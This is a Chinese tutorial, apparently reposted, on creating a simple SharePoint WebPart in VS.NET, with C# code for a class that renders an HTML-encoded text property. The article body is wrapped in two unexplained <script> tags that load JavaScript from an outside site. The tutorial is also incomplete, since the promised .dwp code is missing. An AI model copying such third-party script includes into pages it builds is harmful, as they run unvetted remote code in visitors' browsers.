如何写一个最简单的WebPart

<script language='javascript' src='http://www.shiqiaotou.com/donetk/Header.js'></script>在vs.net里开发WebPart,首先需要下载一个WebPartTemplate
1>打开Vs.Net-->新建项目-->选择项目类型(使用哪种语言)--->选择WebPart Library模板,项目名称  
    这里取:Zhangzs.WebParts--->确定
    默认会建立一个WebPart1的WebPart.包含一个WebPart1.cs和WebPart1.dwp文件.暂时不理会它.
  
2>右键单击项目-->添加(添加新项)-->模板选择:WebPart,并为其取一个名字,这里叫FirstWebPart
   FirstWebPart.cs代码:
using  System;
using  System.ComponentModel;
using  System.Web.UI;
using  System.Web.UI.WebControls;
using  System.Xml.Serialization;
using  Microsoft.SharePoint;
using  Microsoft.SharePoint.Utilities;
using  Microsoft.SharePoint.WebPartPages;

namespace  Zhangzs.WebParts
{
    
/// <summary>
    
/// Description for FirstWebPart
    
/// </summary>

    [DefaultProperty("Text"),
        ToolboxData(
"<{0}:FirstWebPart runat=server></{0}:FirstWebPart>"),
        XmlRoot(Namespace
="Zhangzs.WebParts")]
    
public class FirstWebPart : Microsoft.SharePoint.WebPartPages.WebPart
    
{
        
private const string defaultText = "Hello Wold";

        
private string text = defaultText;

        [Browsable(
true),
            Category(
"Miscellaneous"),
            DefaultValue(defaultText),
            WebPartStorage(Storage.Personal),
            FriendlyName(
"Text"),
            Description(
"Text Property")]
        
public string Text
        
{
            
get
            
{
                
return text;
            }


            
set
            
{
                text 
= value;
            }

        }


        
protected override void RenderWebPart(HtmlTextWriter output)
        
{
            output.Write(SPEncode.HtmlEncode(Text));
        }

    }

}


3>增加dwp文件,注意名称一定要对应,这里必须为FirstWebPart.dwp.代码如下,注意Assembly,TypeName

4>修改MainFest.xml文件,在DwpFiels节下增加 <DwpFile FileName="FirstWebPart.dwp"/>

 


文章来源于 http://www.cnblogs.com/zhangzs8896 版权归原作者所有<script language='javascript' src='http://www.shiqiaotou.com/donetk/Footer.js'></script>
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值